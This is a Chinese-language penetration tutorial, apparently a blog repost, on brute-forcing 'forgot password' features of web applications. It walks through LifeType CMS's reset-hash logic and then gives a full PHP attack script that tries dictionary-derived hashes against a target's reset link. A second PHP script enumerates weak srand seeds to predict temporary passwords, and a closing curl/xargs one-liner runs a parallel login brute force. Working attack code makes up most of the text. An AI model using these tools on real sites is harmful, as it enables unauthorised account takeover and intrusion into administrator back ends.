基于”密码找回”的暴破渗透技术

作者:BlAck.Eagle
    关于暴力破解技术大家基本都已经比较熟悉,但是笔者发现基于”密码重置”的暴力破解 
技术还不是很多,所以笔者在本文中抛砖引玉,对渗透中的该方面的技术进行一下阐述 
    首先我们要重新认识一下,这里的”密码重置”指的什么?(如果你已经很清楚,可以跳 
过这里),大家估计在登录现在很流行的邮箱系统,开源的CMS 系统的时候,估计都有遇到” 
忘记密码”时的找回密码功能,没错,我们就是要对这种弱点进行下阐述。如”网易通行证” 
的邮箱找回密码,如图1 基于”密码找回”的暴破渗透技术_第1张图片


                                图1 

      我们的目的是什么?当然我们的目的是想办法进入web  系统的后台,你也许会说, 
去暴破这么冷清的一个地方,能有啥收获啊?其实不然,因为”密码找回”这个地方往往验证 
较弱。“密码找回”最常见的有两种,”通过邮箱找回密码”和”通过密码提示问题找回密码”                                 , 
这里我们主要是看前者,因为对于后者,密码提示问题往往是社会工程学需要做的,所以不 
在本文讨论的范畴。 
     “通过邮箱找回密码”一般最常见的有两种情况,一种是在填写完ID 和Email(当然email 
也需要些社工手段获取)之后,web 应用程序将发送一条带有特定hash  的链接到我们指定 
的邮箱,我们定义为”link   password   reset”,另一种是web 应用程序生成一个临时密码给用 
户,我们定义为”temp password reset” 
    我们采用白盒测试的手段来分析下两种的原理。 
”link password reset”型暴破的分析 
这种方式是很常见的,我们通过国外的lifetype CMS 来分析,lifetype 的密码找回如图2 
基于”密码找回”的暴破渗透技术_第2张图片

 

关键文件有两个Summarysendresetemail.php 和Summarytools.class.php

Summarysendresetemail.php用于生成一条带有 hash的链接,发送到用户的邮箱,其中$requestHash 变量通过calculatePasswordResetHash()函数生成,然后当用户在邮箱中发 现这条链接的时候,点击的时候,web应用程序通过 Summarytools.class.php文件中的 verifyRequest ()函数进行验证

 function SummarySendResetEmail( $actionInfo, $request )
             {
                  $this->SummaryAction( $actionInfo, $request );

                  // data filtering
                  $f = new HtmlFilter();
                  $f->addFilter( new HtmlSpecialCharsFilter());
                  $this->_request->registerFilter( "userName", $f );
                  $this->_request->registerFilter( "userEmail", $f );

                  // data validation
                $this->registerFieldValidator( "userName", new UsernameValidator());                                        $this->registerFieldValidator( "userEmail", new EmailValidator());
                $this->setValidationErrorView( new SummaryView( "resetpassword" ));
             }

             function perform()
             {

                  //  通过calculatePasswordResetHash 函数生成一个requestHash 变量
                  $requestHash = SummaryTools::calculatePasswordResetHash( $userInfo );
                  $config =& Config::getConfig();
                  $baseUrl = $config->getValue( "base_url" );
                  $resetUrl                                                                              =
  $baseUrl."/summary.php?op=setNewPassword&a=$requestHash&b=".md5($userInfo->getU
  sername());

                  SummaryTools::sendResetEmail( $userInfo, $resetUrl );

 

                   $this->_view                                      =                                   new
  SummaryMessageView( $this->_locale->tr( "password_reset_message_sent_ok" ));

                   $this->setCommonData();

  ………

Summarytools.class.php 

  <?php

  function calculatePasswordResetHash( $userInfo )
             {/**

             需要知道管理的密码,邮箱,ID 才能生$requesthash
              **/

                  $string = $userInfo->getPassword().$userInfo->getEmail().$userInfo->getId();

$requestHash = md5($string);

                  return $requestHash;
             }

  function verifyRequest( $userNameHash, $requestHash )
             {
                  // make sure that the request is correct
                  lt_include( PLOG_CLASS_PATH."class/database/db.class.php" );
                  $users = new Users();

                  $db =& Db::getDb();
                  $prefix = Db::getPrefix();
       //首先通过username 的md5 hash 查到当前用户这个对象
                  $query = "SELECT id, user, password, email, about, full_name, properties,
                                site_admin, resource_picture_id, status
                                FROM {$prefix}users
                                WHERE MD5(user) = '".Db::qstr($userNameHash)."'
                                AND status = ".USER_STATUS_ACTIVE;

                  $result = $db->Execute( $query );
                  if( !$result )
                        return false;

                  $row = $result->FetchRow();

                  $userInfo = $users->mapRow( $row );

                // try to see if we can load the user...
                if( !$userInfo )
                     return false;


                // 将查到的这个用户对象进行calculatePasswordResetHash   函数操作,判
  断生成的hash 是否与用户提交的request hash 值一样。
           $originalRequestHash = SummaryTools::calculatePasswordResetHash( $userInfo );
                if( $requestHash != $originalRequestHash )
                     return false;

                return $userInfo;
           }
      }

  ?>
通过上述的分析我们可以发现,如果进行暴破,我们需要知道管理的密码(注意,管理的密
码我们是未知的,所以在暴破的时候,需要字典),邮箱,ID 才能生成$requesthash ,然后进一
步构造如下链接暴破,光知道这些还是不够的,我们还要确定一个标志,因为在请求失败的
时候,网页中均会出现”The parameters in the URL are not correct”,所以我们只要排除这个标
志就可以。
url/summary.php?op=setNewPassword&a=$requestHash&b=md5(username)的链接,如图3

                                              
   图3 基于”密码找回”的暴破渗透技术_第3张图片

     掌握了上述的原理,那么通过上述的分析我们可以构造出我们的php 版本的暴力利用工 

 <?php 
 ini_set("max_execution_time",0);//修改php 的最大允许时间为无限制 
 global $host,$path,$username,$email,$id; 
 function usage() 
 { 
 global $argv; 
 print( 
 "\n--+++============================================================+++--". 
 "\n--+++======LifeStyle CMS PassReset Crack========+++--". 
 "\n--+++============================================================+++--". 
 "\n[+] Usage: php ".$argv[0]." <hostname> <path> <username> <email> <id>". 
 "\n[+] Demo: php ".$argv[0]." localhost /test admin [email protected] 1". 
 "\n\n"); 

}

//sendMessage  函数用于建立并请求上述的临时链接。
function sendMessage($host,$path,$password,$username){
      $conn = fsockopen($host, 80,$errno,$errstr,30);
      if(!$conn){
      echo "$errstr ($errno)<br />\n";
      }else{
      $postdata = "op=setNewPassword&a=".$password."&b=".md5($username);

$message = "POST ".$path."/summary.php HTTP/1.1\r\n";
      $message         .=     "Accept:       image/gif,      image/x-xbitmap,         image/jpeg,        image/pjpeg,
application/x-shockwave-flash, */*\r\n";
      $message .= "Accept-Language: zh-cn\r\n";
      $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
      $message .= "Accept-Encoding: gzip, deflate\r\n";
      $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
      $message .= "Host:".$host."\r\n";
      $message .= "Content-Length: ".strlen($postdata)."\r\n";
      $message .= "Connection: Close\r\n\r\n";
      $message .= $postdata;

      fputs($conn, $message);
      while (!feof($conn))
      $reply .= fgets($conn, 1024);
      fclose($conn);
      return $reply;}

   }
function crack($host,$path,$password,$username){
       echo "cracking,please wait....";

       $response = sendMessage($host,$path,$password,$username);
       /**
       设置标志为” The parameters in the URL are not correct”,并判断response 中是否有这个标志,
如果没有则说明暴破成功
       **/
       if((preg_match ("/The parameters in the URL are not correct/is", $response))==0){
       echo "crack success,the link is:"."\n";
       echo
"http://".$host.$path."/summary.php"."?op=setNewPassword&a=".$password."&b=".md5($username);
       exit;
    }else{
    echo "crack failed";
    }
 }

 // createPassDic 函数主要用于读取我们制造的password 密码文件,然后与,email,id 构成MD5 hash
 function createPassDic($host,$path,$username,$email,$id) {

global    $password;
       $filename = "password.txt";
       if(!$email||!$id){
            echo "please input email and id";
       die ;
       }else    if(file_exists($filename) && is_readable($filename)){

            $content = file_get_contents($filename);
            $array = explode("\r\n", $content);

            for($i =0; $i <count($array); $i++){

                  $password = md5(md5($array[$i]).$email.$id);
                  crack($host,$path,$password,$username);

             }
       }

   }
 if ($argc != 3)

   usage();

 $host = $argv[1];
 $path = $argv[2];
 $username = $argv[3];
 $email = $argv[4];
 $id = $argv[5];

 createPassDic($host,$path,$username,$email,$id);

 ?>

测试了下,还是可以的,如图4 

基于”密码找回”的暴破渗透技术_第4张图片

“temp password reset”型暴破的可行性分析 
国外牛人iagox86  曾经对这种暴破进行分析,我有幸拜读过他的一篇这方面的文章,然后我 
借鉴了他的一些思路和方法。”Temp password reset”大部分是在用户输入正确用户名和邮箱 
的时候,生成一个随机密码,并把密码的md5 散列插入到数据库。然后在用户登录的时候 
进行验证。我们重点来看一下它的随机密码生成算法是怎样的,下面的代码也是国外的cms 
生成随机密码比较通用的一种: 
  <?php
   function generate_random_password($length)
   {
    $chars = 'abcdefghijkmnopqrstuvwxyz023456789!@#$';

    srand((double)microtime() * 1000000);

    $passwd = '';
    $chars_length = strlen($chars) - 1;

    for ($i = 0; $i < $length; $i++)
      $passwd .= substr($chars, (rand() % $chars_length), 1);

  return $passwd;
   }
  ?>

上面的代码中出现了两个函数,rand()和srand(),我们来看一下srand()和rand()是如何工作 
的。它们的工作流程如下: 
(1):首先,给srand()提供一个”种子”;,它是一个unsigned_int 类型的值。上述代码中为 
(double)microtime() * 1000000 
(2):然后,调用rand(),它会根据提供给srand()的值返回一个随机数(范围在0~32767 
之间) 
(3):根据需要多次调用rand(),不断得到新的随机数。 
(4):无论什么时候可以给srand()提供一个新的“种子”,从而进一步“随机化”rand() 
初次看上去,这个随机函数无懈可击,但是我们可以简单的做一个随机种子强度的测试,我 
们输出(double)microtime() * 1000000;的值,来看一下即可。如图5  基于”密码找回”的暴破渗透技术_第5张图片


 <?php
    for($i = 0; $i < 5; $i++)
    {
      echo((double)microtime() * 1000000);
      echo "\n";
    }
 ?>

                                               图5 
可以发现这个”种子”的值是位于1-1000000 的,1000000对暴破来说可是个小数目,你 
是不是也在这么考虑呢?我们可以很容易就生成所有的这些随机值。简单改动web 应用程 
序的代码为tampPassCrack.php 所示。 
Web 应用程序在重置的时候,通常指定$length 为一个定值。我们这里假设为14 
 <?php
 //tampPassCrack.php
 function generate_random_password($length)
   {
    $chars = 'abcdefghijkmnopqrstuvwxyz023456789!@#$';
    //列出所有可能的随机数种子
    for($j = 0; $j < 1000000; $j++)
    {
     srand($j);
     $passwd = '';
     $chars_length = strlen($chars) - 1;

     for ($i = 0; $i < $length; $i++) 

 $passwd .= substr($chars, (rand() % $chars_length), 1);
    echo $passwd . "\n";
   }
  }

  generate_random_password($argv[1]);
 ?>

我们执行php tampPassCrack.php 14 >temp.txt 就可以得到我们的字典了。这个时候 
我们一般就可以通过溯雪,wvs 之类的暴破工具来暴破了。 
    学习了下老外的思路,直接通过curl 
$ cat temp.txt | xargs -P32 -I XXX curl -s -o XXX.out -d "username=admin&password=XXX"
http://192.168.1.5/crack/check.php 

这个的意思就是首先显示temp.txt 文件,然后通过xargs 命令读取temp.txt 文件,执行curl

向check.php 提交post 数据,输出的文件名为temp.txt  中的每个密码值.out。如图6 

                                       图6  基于”密码找回”的暴破渗透技术_第6张图片

等待执行完毕之后,可以通过linux  自带的md5 文件校验功能来查找哪个是正确的密码,因 
为如果post 错误的密码,返回的信息都相同,所以文件的md5 校验值也相同,通过md5sum 
*.out|head 可以查询出前几条文件校验值,可以看到都为一个值,那么我们继续通过 
md5sum *.out|grep –v ea44…  通过-v 排除这个相同的值就会得到我们想要的密码,可以看 
到为imjrcd6w6pi8ai。如图7 
    建议大家挖掘下xargs 和curl 命令的用法。 

                                       图7  基于”密码找回”的暴破渗透技术_第7张图片



你可能感兴趣的:(基于”密码找回”的暴破渗透技术)